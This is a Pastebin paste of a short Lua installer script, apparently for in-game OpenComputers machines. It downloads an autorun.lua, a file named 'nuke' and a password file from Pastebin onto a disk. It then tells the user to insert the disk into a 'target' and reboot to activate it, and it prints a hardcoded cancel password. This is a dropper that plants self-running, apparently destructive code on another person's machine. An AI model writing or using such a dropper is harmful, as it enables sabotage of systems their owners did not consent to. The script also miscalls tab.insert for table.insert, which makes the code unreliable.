Advertisement
Guest User

installer.lua

a guest
Nov 22nd, 2019
161
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 0.62 KB | None | 0 0
  1. local fs = require("filesystem")
  2. local c = require("component")
  3.  
  4. local tab = {}
  5. local adr
  6. for k,v in c.list("file",false) do
  7.   tab.insert(tab, k)
  8. end
  9. for k,v in ipairs(tab) do
  10.   if fs.exists("/mnt/"..v:match("...").."/installer.lua") then
  11.     adr = v
  12.   end
  13. end
  14.  
  15. os.execute("pastebin get BXJw3uk0 /mnt/"..adr:match("...").."/autorun.lua")
  16. os.execute("pastebin get BwXPpucv /mnt/"..adr:match("...").."/nuke")
  17. os.execute("pastebin get YxPupxED /mnt/"..adr:match("...").."/password")
  18.  
  19. print("Installation complete. insert disk on target and reboot machine to activate. To cancel type cancel after it reboots and enter the password (s3cr3t).")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement